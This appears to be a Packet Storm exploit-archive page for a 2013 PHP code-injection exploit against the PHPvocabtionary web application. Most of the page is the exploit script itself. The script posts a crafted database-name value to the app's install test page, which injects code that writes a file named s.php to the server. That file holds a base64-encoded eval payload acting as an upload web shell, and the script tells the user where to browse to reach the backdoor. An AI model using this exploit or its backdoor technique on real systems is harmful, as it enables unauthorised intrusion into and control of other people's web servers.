exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHPvocabtionary Code Injection

PHPvocabtionary Code Injection
Posted May 7, 2013
Authored by Slotleet

PHPvocabtionary suffers from a PHP code injection vulnerability.

tags | exploit, php
SHA-256 | 35815077f57e1f2a0c402c5aa47bd660a80be4e101ed5ce9aa820d993b33b171

PHPvocabtionary Code Injection

Change Mirror Download
#!/usr/bin/php
<?
# Exploit Title : PHPvocabtionary Php code injection
# Date : 5/4/2013
# Author: Slotleet
# Slotleet () GMAIL com
# https://fb.com/Slot.leet
# Vendor Homepage:
http://sourceforge.net/projects/phpvocabtionary/files/latest/download
# Version affected : all
# Tested on: WIN 7 Xd4rk EDITION
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# PHPvocabtionary Multiple Vulnerabilities
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


error_reporting(0);


if ($argc < 3){
echo "+---------------------------------------+\n";
echo "+ Usage : $argv[0] localhost /vio +\n";
echo "+---------------------------------------+\n";
die();
}


$site = $argv[1];
$dir = $argv[2];

$b4ckd00r = '";$fp = fopen("s.php","w"); fwrite($fp,"<?php
eval(base64_decode(\'ZWNobyAnPGI+PGJyPjxicj4nLnBocF91bmFtZSgpLic8YnI+PC9iPic7DQplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOw0KZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7DQppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7DQoJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPGI+VXBsb2FkIFNVS1NFUyAhISE8L2I+PGJyPjxicj4nOyB9DQoJZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBHQUdBTCAhISE8L2I+PGJyPjxicj4nOyB9DQp9DQplY2hvICc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPk1MPSJSam5pcy9lIC5ySTx0aHpQUy1vbVRDZz46PXAiO01JPSI7QEUwOj9EN0AwRUk9PDxKSDU1PkIyNkE8OEI5RjUzQ0Y0NT44MTRHOzVARTA6P0RHIjtPVD0iIjtmb3Ioaj0wO2o8TUkubGVuZ3RoO2orKyl7T1QrPU1MLmNoYXJBdChNSS5jaGFyQ29kZUF0KGopLTQ4KTt9ZG9jdW1lbnQud3JpdGUoT1QpOzwvc2NyaXB0Pic7\'));");"';

$sl0t=array("dbName"=>"sl0t$b4ckd00r",
"dbUser"=>"sl0t",
"dbHost"=>"sl0t",
"dbPass"=>"sl0t",
"dbPrefix"=>"myvcb_"
);

$ch = curl_init("http://$site$dir/install/dbtes.php");
curl_setopt ($ch, CURLOPT_POST, true);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $sl0t);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$result = curl_exec($ch);

if ($result){

echo "+---------------------------------------+\n";
echo "+ Check http://$site$dir/search.php +\n";
echo "+---------------------------------------+\n";

echo "maybe exploited :D \n\n";
echo "now go to http://$site$dir/install/s.php to browse you're backdoor \n";
}

?>
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close